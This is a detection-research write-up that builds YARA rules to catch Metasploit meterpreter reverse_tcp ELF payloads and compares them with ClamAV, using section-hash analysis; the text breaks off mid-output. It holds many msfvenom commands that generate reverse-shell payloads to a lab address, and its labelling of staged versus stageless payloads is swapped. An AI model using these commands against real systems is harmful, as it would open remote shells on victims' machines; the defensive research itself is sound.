- Rizin, fork of radare2: https://github.com/rizinorg/rizin
- metasploit-framework: https://github.com/rapid7/metasploit-framework
- yara: https://github.com/VirusTotal/yara
- ClamAV (to compare our work): https://github.com/Cisco-Talos/clamav
diff
to compare hashes saved in files- Load Library: a loader to run Windows defender on Linux https://github.com/taviso/loadlibrary/. It requires
cabextract
to get latest engine of Windows Defender. I have modified version of it here https://nest.parrotsec.org/dmknght/windefender-loader which allow scan whole directory. However, it doesn't work with latest version of the engine. So i'll copy the code i added to new version of loadlibrary. - Cigarrates and Tom Ellis's songs.
https://www.rapid7.com/blog/post/2015/03/25/stageless-meterpreter-payloads/
- PE: https://yara.readthedocs.io/en/stable/modules/pe.html
- ELF: https://yara.readthedocs.io/en/stable/modules/elf.html
- Hash: https://yara.readthedocs.io/en/stable/modules/hash.html
- https://www.varonis.com/blog/yara-rules/
- https://countuponsecurity.com/2016/03/09/unleashing-yara-part-3/
- https://medium.com/malware-buddy/fifty-shades-of-malware-hashing-3783d98df59c
- AntiVirus engine basic http://www.cse.tkk.fi/fi/opinnot/T-110.6220/2010_Spring_Malware_Analysis_and_Antivirus_Tchnologies/luennot-files/Antivirus%20Engine%20Basics.pdf
https://docs.clamav.net/manual/Signatures/HashSignatures.html
- Scan binaries (ELF, PE files) generated by metasploit-framework with / without encoders
- Use only static scan. No shellcode / buffer detection.
- No packing / obfuscation
- Yara rules are able to detect as many payloads as possible in easiest way
** Note **
- Use
msfvenom --list encoders
to show list of encoder linux/x64/meterpreter/reverse_tcp
is stageless payload andlinux/x64/meterpreter_reverse_tcp
is staged payload. Same syntax for Windows binaries
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run1
-> No encodermsfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run2 -e x86/alpha_mixed -k 10
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run3 -e x64/xor_dynamic -k 30
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run4 -e x86/shikata_ga_nai
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run5 -e x86/unicode_mixed
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run6 -e x86/xor_dynamic -k 13
Remember to update signature db with sudo freshclam
Scan result (I skipped the SCAN SUMMARY part)
$clamscan .
/tmp/msf_stageless/run1: OK
/tmp/msf_stageless/run2: OK
/tmp/msf_stageless/run3: OK
/tmp/msf_stageless/run4: Win.Trojan.MSShellcode-6360729-0 FOUND
/tmp/msf_stageless/run5: Win.Exploit.Unicode_Mixed-1 FOUND
/tmp/msf_stageless/run6: OK
To understand signatures of ClamAV and how it detects / didn't detect the samples, we can show database:
$sigtool --find-sigs="Win.Trojan.MSShellcode-6360729-0"
[daily.ldb] Win.Trojan.MSShellcode-6360729-0;Engine:81-255,Target:0;1;d97424f4(5?|b?);0/\xd9\x74\x24\xf4[\x50-\x5f\xb0-\xbf].{0,20}[\x29\x2b\x31\x33].{0,500}\xc9\xb1.{0,8}\x31.[\x10-\x1f\x0f][\x03\x13\x23\x33\x43\x53\x63\x73\x83\x93\xa3\xb3\xc3\xd3\xe3\xf3]/s
$sigtool --find-sigs="Win.Exploit.Unicode_Mixed-1"
[main.ndb] Win.Exploit.Unicode_Mixed-1:0:*:6a5841514144415a41424152414c41594149415141494151414941684141415a3141494149414a31314149414941424142414251493141495149414951493131314149414a5159415a4241424142414241426b4d4147423975344a42
=> Those are string based detection. Beside the platform is wrong, we can see there are 4/6 samples are not detected. Let's analysis sections of ELF files Try with run1 (no encoder)
$rz-bin -iS run1
[Sections]
nth paddr size vaddr vsize perm name type flags
―――――――――――――――――――――――――――――――――――――――――――――――――
[Imports]
nth vaddr bind type lib name
――――――――――――――――――――――――――――
=> No sections is found Try with run2 (alpha mixed)
$rz-bin -iS run2
[Sections]
nth paddr size vaddr vsize perm name type flags
―――――――――――――――――――――――――――――――――――――――――――――――――
[Imports]
nth vaddr bind type lib name
――――――――――――――――――――――――――――
=> No sections is found The same result is showed for other ELF files. I'm skipping all other same results here. We can write yara rules for this detection. We are having some conditions:
- Files must be ELF binaries. For now yara doesn't have
is_elf
in ELF module while PE module hasis_pe
. So we useuint32(0) == 0x464c457f
to check ELF header. - Files have no sections. We use
elf.number_of_sections == 0
. - All staged files are so small. We can use condition
filesize < 1KB
. Please note that it might lead to true positives. Our first rule
import "elf"
rule Linux64_msf_stageless
{
condition:
uint32(0) == 0x464c457f and elf.number_of_sections == 0 and filesize < 1KB
}
I'm saving it as section_hash.yar
. Test scan result
$yara section_hash.yar /tmp/msf_payloads
Linux64_msf_stageless /tmp/msf_payloads/run6
Linux64_msf_stageless /tmp/msf_payloads/run1
Linux64_msf_stageless /tmp/msf_payloads/run5
Linux64_msf_stageless /tmp/msf_payloads/run2
Linux64_msf_stageless /tmp/msf_payloads/run4
Linux64_msf_stageless /tmp/msf_payloads/run3
The result is great. How about x86 payloads? Let try these commands
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run1_x86
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run2_x86 -e x86/alpha_mixed -k 22
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run3_x86 -e x86/xor_dynamic -k 14
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run4_x86 -e x86/shikata_ga_nai -k 33
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run5_x86 -e x86/unicode_mixed -k 11
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run6_x86 -e x86/xor_dynamic -k 13
Scan result with ClamAV
$clamscan .
/tmp/msf_payloads/run1: OK
/tmp/msf_payloads/run2: OK
/tmp/msf_payloads/run3: OK
/tmp/msf_payloads/run4: Win.Trojan.MSShellcode-6360729-0 FOUND
/tmp/msf_payloads/run5: Win.Exploit.Unicode_Mixed-1 FOUND
/tmp/msf_payloads/run6: OK
/tmp/msf_payloads/run1_x86: OK
/tmp/msf_payloads/run2_x86: OK
/tmp/msf_payloads/run3_x86: OK
/tmp/msf_payloads/run4_x86: Win.Trojan.MSShellcode-6360729-0 FOUND
/tmp/msf_payloads/run5_x86: Win.Exploit.Unicode_Mixed-1 FOUND
/tmp/msf_payloads/run6_x86: OK
Try it again with our same yara rule
$yara section_hash.yar /tmp/msf_payloads
Linux64_msf_stageless /tmp/msf_payloads/run1
Linux64_msf_stageless /tmp/msf_payloads/run2_x86
Linux64_msf_stageless /tmp/msf_payloads/run6_x86
Linux64_msf_stageless /tmp/msf_payloads/run3
Linux64_msf_stageless /tmp/msf_payloads/run1_x86
Linux64_msf_stageless /tmp/msf_payloads/run2
Linux64_msf_stageless /tmp/msf_payloads/run4_x86
Linux64_msf_stageless /tmp/msf_payloads/run5
Linux64_msf_stageless /tmp/msf_payloads/run5_x86
Linux64_msf_stageless /tmp/msf_payloads/run3_x86
Linux64_msf_stageless /tmp/msf_payloads/run4
Linux64_msf_stageless /tmp/msf_payloads/run6
The result is absolutely perfect - Tobi Wan 2019
.
msfvenom -p linux/x86/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run11_x86
msfvenom -p linux/x86/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run12_x86 -e x86/alpha_mixed -k 24
msfvenom -p linux/x86/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run13_x86 -e x86/xor_dynamic -k 12
msfvenom -p linux/x86/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run14_x86 -e x86/shikata_ga_nai -k 55
msfvenom -p linux/x86/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run15_x86 -e x86/unicode_mixed -k 66
msfvenom -p linux/x86/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run16_x86 -e x86/xor_dynamic -k 23
msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run11_x64
msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run12_x64 -e x64/alpha_mixed -k 9
msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run13_x64 -e x64/xor_dynamic -k 11
msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run14_x64 -e x64/shikata_ga_nai -k 23
msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run15_x64 -e x64/unicode_mixed -k 41
msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run16_x64 -e x64/xor_dynamic -k 23
Because now we are having so many payloads so i'm using -i
flag for clamAV to show only infected files
$clamscan . -i
/tmp/msf_payloads/run4: Win.Trojan.MSShellcode-6360729-0 FOUND
/tmp/msf_payloads/run5: Win.Exploit.Unicode_Mixed-1 FOUND
/tmp/msf_payloads/run4_x86: Win.Trojan.MSShellcode-6360729-0 FOUND
/tmp/msf_payloads/run5_x86: Win.Exploit.Unicode_Mixed-1 FOUND
/tmp/msf_payloads/run15_x86: Win.Exploit.Unicode_Mixed-1 FOUND
5/24 files are infected.
The file11_x86
which is staged payload and has no encoders
$rz-bin -iS run11_x86
[Sections]
nth paddr size vaddr vsize perm name type flags
――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
0 0x00000000 0x0 0x00000000 0x0 ---- NULL
1 0x000000f4 0x98 0x000000f4 0x98 -r-- .hash HASH alloc
2 0x0000018c 0x130 0x0000018c 0x130 -r-- .dynsym DYNSYM alloc
3 0x000002bc 0xfa 0x000002bc 0xfa -r-- .dynstr STRTAB alloc
4 0x000003b8 0x2668 0x000003b8 0x2668 -r-- .rel.dyn REL alloc
5 0x00002a20 0x11 0x00002a20 0x11 -r-x .init PROGBITS alloc,execute
6 0x00002a40 0x30 0x00002a40 0x30 -r-x .plt PROGBITS alloc,execute
7 0x00002a70 0xa53e1 0x00002a70 0xa53e1 -r-x .text PROGBITS alloc,execute
8 0x000a7e51 0xc 0x000a7e51 0xc -r-x .fini PROGBITS alloc,execute
9 0x000a7e60 0x13600 0x000a7e60 0x13600 -r-- .rodata PROGBITS alloc
10 0x000bb460 0x243c0 0x000bb460 0x243c0 -r-- .eh_frame PROGBITS alloc
11 0x000e0330 0x0 0x000e1330 0x4 -rw- .tbss NOBITS write,alloc,TLS
12 0x000e0330 0x8 0x000e1330 0x8 -rw- .ctors PROGBITS write,alloc
13 0x000e0338 0x8 0x000e1338 0x8 -rw- .dtors PROGBITS write,alloc
14 0x000e0340 0x1bb8 0x000e1340 0x1bb8 -rw- .data.rel.ro PROGBITS write,alloc
15 0x000e1ef8 0xa0 0x000e2ef8 0xa0 -rw- .dynamic DYNAMIC write,alloc
16 0x000e1f98 0x4c 0x000e2f98 0x4c -rw- .got PROGBITS write,alloc
17 0x000e2000 0x14 0x000e3000 0x14 -rw- .got.plt PROGBITS write,alloc
18 0x000e2020 0xd00 0x000e3020 0xd00 -rw- .data PROGBITS write,alloc
19 0x000e2d20 0x0 0x000e3d20 0xca14 -rw- .bss NOBITS write,alloc
20 0x000e2d20 0x11 0x00000000 0x11 ---- .comment PROGBITS merge,strings
21 0x000e2d31 0xa0 0x00000000 0xa0 ---- .debug_aranges PROGBITS
22 0x000e2dd1 0x36cd 0x00000000 0x36cd ---- .debug_info PROGBITS
23 0x000e649e 0xa36 0x00000000 0xa36 ---- .debug_abbrev PROGBITS
24 0x000e6ed4 0xb19 0x00000000 0xb19 ---- .debug_line PROGBITS
25 0x000e79ed 0xae8 0x00000000 0xae8 ---- .debug_str PROGBITS merge,strings
26 0x000e84d5 0x1914 0x00000000 0x1914 ---- .debug_loc PROGBITS
27 0x000e9de9 0xc8 0x00000000 0xc8 ---- .debug_ranges PROGBITS
28 0x0010db4d 0x103 0x00000000 0x103 ---- .shstrtab STRTAB
29 0x000e9eb4 0x13b30 0x00000000 0x13b30 ---- .symtab SYMTAB
30 0x000fd9e4 0x10169 0x00000000 0x10169 ---- .strtab STRTAB
[Imports]
nth vaddr bind type lib name
――――――――――――――――――――――――――――
Funny thing, payload run12_x86
to run16_x86
has no sections (skipped same results for run13_x86
to run16_x86
)
$rz-bin -iS run12_x86
[Sections]
nth paddr size vaddr vsize perm name type flags
―――――――――――――――――――――――――――――――――――――――――――――――――
[Imports]
nth vaddr bind type lib name
――――――――――――――――――――――――――――
In previous rule, we are having filesize < 1KB
to define the stageless payloads. However, the file size of staged is different (and also so big). Let show it (my ls
is alias of ls -la
)
$ls | grep x86
-rw-r--r-- 1 dmknght dmknght 1.1M Aug 17 08:24 run11_x86
-rw-r--r-- 1 dmknght dmknght 2.2M Aug 17 08:25 run12_x86
-rw-r--r-- 1 dmknght dmknght 1.1M Aug 17 08:25 run13_x86
-rw-r--r-- 1 dmknght dmknght 1.1M Aug 17 08:25 run14_x86
-rw-r--r-- 1 dmknght dmknght 2.2M Aug 17 08:26 run15_x86
-rw-r--r-- 1 dmknght dmknght 1.1M Aug 17 08:26 run16_x86
Thinking
- The filesize in rule is the condition that didn't detect staged x86
- Do we want to remove filesize to detect all of them? Is there any possible false positive? Or the
no sections
in ELF file is enough to say that file is malicious file? Let's edit the rule to this and try
import "elf"
rule Linux_msf_stageless
{
condition:
uint32(0) == 0x464c457f and elf.number_of_sections == 0
}
Change:
- Remove 64 in name of rule. It is not for x64 only
- Remove file size check Result with yara scan
$yara section_hash.yar /tmp/msf_payloads
Linux_msf_stageless /tmp/msf_payloads/run3
Linux_msf_stageless /tmp/msf_payloads/run4
Linux_msf_stageless /tmp/msf_payloads/run6
Linux_msf_stageless /tmp/msf_payloads/run6_x86
Linux_msf_stageless /tmp/msf_payloads/run5
Linux_msf_stageless /tmp/msf_payloads/run3_x86
Linux_msf_stageless /tmp/msf_payloads/run4_x86
Linux_msf_stageless /tmp/msf_payloads/run5_x86
Linux_msf_stageless /tmp/msf_payloads/run2_x86
Linux_msf_stageless /tmp/msf_payloads/run1_x86
Linux_msf_stageless /tmp/msf_payloads/run1
Linux_msf_stageless /tmp/msf_payloads/run2
Linux_msf_stageless /tmp/msf_payloads/run14_x86
Linux_msf_stageless /tmp/msf_payloads/run13_x64
Linux_msf_stageless /tmp/msf_payloads/run13_x86
Linux_msf_stageless /tmp/msf_payloads/run16_x64
Linux_msf_stageless /tmp/msf_payloads/run16_x86
Linux_msf_stageless /tmp/msf_payloads/run12_x86
Linux_msf_stageless /tmp/msf_payloads/run15_x86
As expected, we don't see run11_x86
in the list. However we are seeing run16_x64
and run13_x64
. Interesting! Because we are not having x86 payload to compare hashes of sections, let's do x64 first. But before we start, i want to mention that of 24 payloads we are having, this no sections rule detected 19 of them
$yara section_hash.yar /tmp/msf_payloads | wc -l
19
Let's check run11_x64
$rz-bin -iS run11_x64
[Sections]
nth paddr size vaddr vsize perm name type flags
――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
0 0x00000000 0x0 0x00000000 0x0 ---- NULL
1 0x00000190 0x34 0x00000190 0x34 -r-- .hash HASH alloc
2 0x000001c8 0xc0 0x000001c8 0xc0 -r-- .dynsym DYNSYM alloc
3 0x00000288 0x60 0x00000288 0x60 -r-- .dynstr STRTAB alloc
4 0x000002e8 0x71d0 0x000002e8 0x71d0 -r-- .rela.dyn RELA alloc
5 0x000074b8 0xd 0x000074b8 0xd -r-x .init PROGBITS alloc,execute
6 0x000074d0 0x10 0x000074d0 0x10 -r-x .plt PROGBITS alloc,execute
7 0x000074e0 0x10 0x000074e0 0x10 -r-x .plt.got PROGBITS alloc,execute
8 0x000074f0 0x98342 0x000074f0 0x98342 -r-x .text PROGBITS alloc,execute
9 0x0009f832 0x8 0x0009f832 0x8 -r-x .fini PROGBITS alloc,execute
10 0x0009f840 0x13840 0x0009f840 0x13840 -r-- .rodata PROGBITS alloc
11 0x000b3080 0x1a4ec 0x000b3080 0x1a4ec -r-- .eh_frame PROGBITS alloc
12 0x000cdb00 0x0 0x002cdb00 0x8 -rw- .tbss NOBITS write,alloc,TLS
13 0x000cdb00 0x10 0x002cdb00 0x10 -rw- .ctors PROGBITS write,alloc
14 0x000cdb10 0x10 0x002cdb10 0x10 -rw- .dtors PROGBITS write,alloc
15 0x000cdb20 0x3330 0x002cdb20 0x3330 -rw- .data.rel.ro PROGBITS write,alloc
16 0x000d0e50 0x140 0x002d0e50 0x140 -rw- .dynamic DYNAMIC write,alloc
17 0x000d0f90 0x70 0x002d0f90 0x70 -rw- .got PROGBITS write,alloc
18 0x000d1000 0x18 0x002d1000 0x18 -rw- .got.plt PROGBITS write,alloc
19 0x000d1020 0x1010 0x002d1020 0x1010 -rw- .data PROGBITS write,alloc
20 0x000d2030 0x0 0x002d2040 0xd770 -rw- .bss NOBITS write,alloc
21 0x000d2030 0x11 0x00000000 0x11 ---- .comment PROGBITS merge,strings
22 0x000d2041 0x30 0x00000000 0x30 ---- .debug_aranges PROGBITS
23 0x000d2071 0xb20 0x00000000 0xb20 ---- .debug_info PROGBITS
24 0x000d2b91 0x20c 0x00000000 0x20c ---- .debug_abbrev PROGBITS
25 0x000d2d9d 0x260 0x00000000 0x260 ---- .debug_line PROGBITS
26 0x000d2ffd 0xaf0 0x00000000 0xaf0 ---- .debug_str PROGBITS merge,strings
27 0x000d3aed 0x784 0x00000000 0x784 ---- .debug_loc PROGBITS
28 0x000d4271 0xe0 0x00000000 0xe0 ---- .debug_ranges PROGBITS
29 0x000fcb11 0x108 0x00000000 0x108 ---- .shstrtab STRTAB
30 0x000d4358 0x18ed0 0x00000000 0x18ed0 ---- .symtab SYMTAB
31 0x000ed228 0xf8e9 0x00000000 0xf8e9 ---- .strtab STRTAB
[Imports]
nth vaddr bind type lib name
――――――――――――――――――――――――――――
Result for run12_x64
$rz-bin -iS run12_x64
[Sections]
nth paddr size vaddr vsize perm name type flags
――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
0 0x00000000 0x0 0x00000000 0x0 ---- NULL
1 0x00000190 0x34 0x00000190 0x34 -r-- .hash HASH alloc
2 0x000001c8 0xc0 0x000001c8 0xc0 -r-- .dynsym DYNSYM alloc
3 0x00000288 0x60 0x00000288 0x60 -r-- .dynstr STRTAB alloc
4 0x000002e8 0x71d0 0x000002e8 0x71d0 -r-- .rela.dyn RELA alloc
5 0x000074b8 0xd 0x000074b8 0xd -r-x .init PROGBITS alloc,execute
6 0x000074d0 0x10 0x000074d0 0x10 -r-x .plt PROGBITS alloc,execute
7 0x000074e0 0x10 0x000074e0 0x10 -r-x .plt.got PROGBITS alloc,execute
8 0x000074f0 0x98342 0x000074f0 0x98342 -r-x .text PROGBITS alloc,execute
9 0x0009f832 0x8 0x0009f832 0x8 -r-x .fini PROGBITS alloc,execute
10 0x0009f840 0x13840 0x0009f840 0x13840 -r-- .rodata PROGBITS alloc
11 0x000b3080 0x1a4ec 0x000b3080 0x1a4ec -r-- .eh_frame PROGBITS alloc
12 0x000cdb00 0x0 0x002cdb00 0x8 -rw- .tbss NOBITS write,alloc,TLS
13 0x000cdb00 0x10 0x002cdb00 0x10 -rw- .ctors PROGBITS write,alloc
14 0x000cdb10 0x10 0x002cdb10 0x10 -rw- .dtors PROGBITS write,alloc
15 0x000cdb20 0x3330 0x002cdb20 0x3330 -rw- .data.rel.ro PROGBITS write,alloc
16 0x000d0e50 0x140 0x002d0e50 0x140 -rw- .dynamic DYNAMIC write,alloc
17 0x000d0f90 0x70 0x002d0f90 0x70 -rw- .got PROGBITS write,alloc
18 0x000d1000 0x18 0x002d1000 0x18 -rw- .got.plt PROGBITS write,alloc
19 0x000d1020 0x1010 0x002d1020 0x1010 -rw- .data PROGBITS write,alloc
20 0x000d2030 0x0 0x002d2040 0xd770 -rw- .bss NOBITS write,alloc
21 0x000d2030 0x11 0x00000000 0x11 ---- .comment PROGBITS merge,strings
22 0x000d2041 0x30 0x00000000 0x30 ---- .debug_aranges PROGBITS
23 0x000d2071 0xb20 0x00000000 0xb20 ---- .debug_info PROGBITS
24 0x000d2b91 0x20c 0x00000000 0x20c ---- .debug_abbrev PROGBITS
25 0x000d2d9d 0x260 0x00000000 0x260 ---- .debug_line PROGBITS
26 0x000d2ffd 0xaf0 0x00000000 0xaf0 ---- .debug_str PROGBITS merge,strings
27 0x000d3aed 0x784 0x00000000 0x784 ---- .debug_loc PROGBITS
28 0x000d4271 0xe0 0x00000000 0xe0 ---- .debug_ranges PROGBITS
29 0x000fcb11 0x108 0x00000000 0x108 ---- .shstrtab STRTAB
30 0x000d4358 0x18ed0 0x00000000 0x18ed0 ---- .symtab SYMTAB
31 0x000ed228 0xf8e9 0x00000000 0xf8e9 ---- .strtab STRTAB
[Imports]
nth vaddr bind type lib name
――――――――――――――――――――――――――――
Let's try generate hashes for sections of run11_x64
$rz-bin -S -K md5 run11_x64
[Sections]
nth paddr size vaddr vsize perm md5 name type flags
―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
0 0x00000000 0x0 0x00000000 0x0 ---- d41d8cd98f00b204e9800998ecf8427e NULL
1 0x00000190 0x34 0x00000190 0x34 -r-- ae5ec6045d40633fa743a5cf054de900 .hash HASH alloc
2 0x000001c8 0xc0 0x000001c8 0xc0 -r-- 844f0b70d8d3f9581ac3a3e9b1059f7d .dynsym DYNSYM alloc
3 0x00000288 0x60 0x00000288 0x60 -r-- a1b353957e330eaa457a4034cfe89bf7 .dynstr STRTAB alloc
4 0x000002e8 0x71d0 0x000002e8 0x71d0 -r-- ba395425b5bfc6e4886f0f61ac3783fb .rela.dyn RELA alloc
5 0x000074b8 0xd 0x000074b8 0xd -r-x 8c7aaf63e62d19e0911e9179a2917f34 .init PROGBITS alloc,execute
6 0x000074d0 0x10 0x000074d0 0x10 -r-x cb3f65ae0002b3844e08c46cc5f5fc9d .plt PROGBITS alloc,execute
7 0x000074e0 0x10 0x000074e0 0x10 -r-x 1f139cb38bd2db3199b6673a8fc2b0c5 .plt.got PROGBITS alloc,execute
8 0x000074f0 0x98342 0x000074f0 0x98342 -r-x 6992f9f0bbc3f760533180a738e7b664 .text PROGBITS alloc,execute
9 0x0009f832 0x8 0x0009f832 0x8 -r-x 4fa8576b04caabc0d229c35ee645d302 .fini PROGBITS alloc,execute
10 0x0009f840 0x13840 0x0009f840 0x13840 -r-- 0c1ad86a53570cab307dbdcc65edd92e .rodata PROGBITS alloc
11 0x000b3080 0x1a4ec 0x000b3080 0x1a4ec -r-- 19d25ed1a028b3475a5eb3aa66c7fb5a .eh_frame PROGBITS alloc
12 0x000cdb00 0x0 0x002cdb00 0x8 -rw- d41d8cd98f00b204e9800998ecf8427e .tbss NOBITS write,alloc,TLS
13 0x000cdb00 0x10 0x002cdb00 0x10 -rw- f858d36231ba743ad8c898d86a67a864 .ctors PROGBITS write,alloc
14 0x000cdb10 0x10 0x002cdb10 0x10 -rw- f858d36231ba743ad8c898d86a67a864 .dtors PROGBITS write,alloc
15 0x000cdb20 0x3330 0x002cdb20 0x3330 -rw- fc27c3554169b6fe1736e66aaf0714aa .data.rel.ro PROGBITS write,alloc
16 0x000d0e50 0x140 0x002d0e50 0x140 -rw- 44703e79d3abe893f123df4805f802b6 .dynamic DYNAMIC write,alloc
17 0x000d0f90 0x70 0x002d0f90 0x70 -rw- e4b929ddf1f7f11e16b52cd19683e98f .got PROGBITS write,alloc
18 0x000d1000 0x18 0x002d1000 0x18 -rw- 45c74f0559db0a95c2b5055a912aa512 .got.plt PROGBITS write,alloc
19 0x000d1020 0x1010 0x002d1020 0x1010 -rw- 71ff565613012f28d20bf16b4491ac21 .data PROGBITS write,alloc
20 0x000d2030 0x0 0x002d2040 0xd770 -rw- d41d8cd98f00b204e9800998ecf8427e .bss NOBITS write,alloc
21 0x000d2030 0x11 0x00000000 0x11 ---- fbeb0b6fd7a7f78a880f68c413893f36 .comment PROGBITS merge,strings
22 0x000d2041 0x30 0x00000000 0x30 ---- 678e5d97495316461e8f618cd6662693 .debug_aranges PROGBITS
23 0x000d2071 0xb20 0x00000000 0xb20 ---- eb66f45ebf4b2e8279d532bbda97cf60 .debug_info PROGBITS
24 0x000d2b91 0x20c 0x00000000 0x20c ---- 2c89451eea27695d3455a315b576d636 .debug_abbrev PROGBITS
25 0x000d2d9d 0x260 0x00000000 0x260 ---- 1abf525984cc88cfa04a2cb30a8f37e3 .debug_line PROGBITS
26 0x000d2ffd 0xaf0 0x00000000 0xaf0 ---- d21517559228b6e462c21c6a784c26cb .debug_str PROGBITS merge,strings
27 0x000d3aed 0x784 0x00000000 0x784 ---- 6cc0d0f8cc0d93c73669d54a5c9ce0cf .debug_loc PROGBITS
28 0x000d4271 0xe0 0x00000000 0xe0 ---- 3d7615e69efbfa8bcb8d0d4b4b52c4ca .debug_ranges PROGBITS
29 0x000fcb11 0x108 0x00000000 0x108 ---- bd79ca18def6a07331be572fbd295a89 .shstrtab STRTAB
30 0x000d4358 0x18ed0 0x00000000 0x18ed0 ---- a722d91bd41d113a648af10bd05051e6 .symtab SYMTAB
31 0x000ed228 0xf8e9 0x00000000 0xf8e9 ---- 71eaba2435a2c77b8fcb884f63494903 .strtab STRTAB
To compare hashes of this file and other files, i'd like to save hashes to files and use diff
to compare. As mentioned above, we skip run13_x64
and run16_x64
because 2 files have no sections.
$rz-bin -S -K md5 run11_x64 > hash1
$rz-bin -S -K md5 run12_x64 > hash2
$rz-bin -S -K md5 run14_x64 > hash4
$rz-bin -S -K md5 run15_x64 > hash5
Compare hashes in 4 files, we have
$diff --from-file hash1 hash2 hash4 hash5
24c24
< 19 0x000d1020 0x1010 0x002d1020 0x1010 -rw- 71ff565613012f28d20bf16b4491ac21 .data PROGBITS write,alloc
---
> 19 0x000d1020 0x1010 0x002d1020 0x1010 -rw- 98d3a07b6190802ea29c079d4e7f5394 .data PROGBITS write,alloc
24c24
< 19 0x000d1020 0x1010 0x002d1020 0x1010 -rw- 71ff565613012f28d20bf16b4491ac21 .data PROGBITS write,alloc
---
> 19 0x000d1020 0x1010 0x002d1020 0x1010 -rw- 6d370ad24334568fb654677f965a2b1f .data PROGBITS write,alloc
24c24
< 19 0x000d1020 0x1010 0x002d1020 0x1010 -rw- 71ff565613012f28d20bf16b4491ac21 .data PROGBITS write,alloc
---
> 19 0x000d1020 0x1010 0x002d1020 0x1010 -rw- a90394f7fb4a6fcb0fd6d75d3d0b78b2 .data PROGBITS write,alloc
So only section .data
is different. It means we can use hash of any sections for the rules. In this example, I'll use md5 hash of .debug_info
which is eb66f45ebf4b2e8279d532bbda97cf60
. The id of this section is 23
. We can create yara rule
rule Linux64_msf_staged
{
condition:
uint32(0) == 0x464c457f and elf.number_of_sections == 32 and hash.md5(elf.sections[23].offset, elf.sections[23].size) == "eb66f45ebf4b2e8279d532bbda97cf60"
}
Don't forget import the hash module import "hash"
. The current rule should look like this
import "elf"
import "hash"
rule Linux_msf_stageless
{
condition:
uint32(0) == 0x464c457f and elf.number_of_sections == 0
}
rule Linux64_msf_staged
{
condition:
uint32(0) == 0x464c457f and elf.number_of_sections == 32 and hash.md5(elf.sections[23].offset, elf.sections[23].size) == "eb66f45ebf4b2e8279d532bbda97cf60"
}
Try scan again
$yara section_hash.yar /tmp/msf_payloads
Linux_msf_stageless /tmp/msf_payloads/run1
Linux_msf_stageless /tmp/msf_payloads/run2
Linux_msf_stageless /tmp/msf_payloads/run1_x86
Linux_msf_stageless /tmp/msf_payloads/run4
Linux_msf_stageless /tmp/msf_payloads/run6_x86
Linux_msf_stageless /tmp/msf_payloads/run4_x86
Linux_msf_stageless /tmp/msf_payloads/run3
Linux_msf_stageless /tmp/msf_payloads/run5
Linux_msf_stageless /tmp/msf_payloads/run2_x86
Linux_msf_stageless /tmp/msf_payloads/run5_x86
Linux_msf_stageless /tmp/msf_payloads/run3_x86
Linux_msf_stageless /tmp/msf_payloads/run6
Linux_msf_stageless /tmp/msf_payloads/run13_x64
Linux_msf_stageless /tmp/msf_payloads/run16_x64
Linux_msf_stageless /tmp/msf_payloads/run13_x86
Linux_msf_stageless /tmp/msf_payloads/run16_x86
Linux_msf_stageless /tmp/msf_payloads/run14_x86
Linux_msf_stageless /tmp/msf_payloads/run12_x86
Linux_msf_stageless /tmp/msf_payloads/run15_x86
Linux64_msf_staged /tmp/msf_payloads/run12_x64
Linux64_msf_staged /tmp/msf_payloads/run11_x64
Linux64_msf_staged /tmp/msf_payloads/run15_x64
Linux64_msf_staged /tmp/msf_payloads/run14_x64
We are able to detect 23 of 24 samples
$yara section_hash.yar /tmp/msf_payloads | wc -l
23
Now let's get back the run11_x86
again with section hashes
$rz-bin -S -K md5 run11_x86
[Sections]
nth paddr size vaddr vsize perm md5 name type flags
―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
0 0x00000000 0x0 0x00000000 0x0 ---- d41d8cd98f00b204e9800998ecf8427e NULL
1 0x000000f4 0x98 0x000000f4 0x98 -r-- b1499ae9ffe98fc8d1a117152cd6c8dd .hash HASH alloc
2 0x0000018c 0x130 0x0000018c 0x130 -r-- ccc41adf87de338e87d5bf069ee6bc88 .dynsym DYNSYM alloc
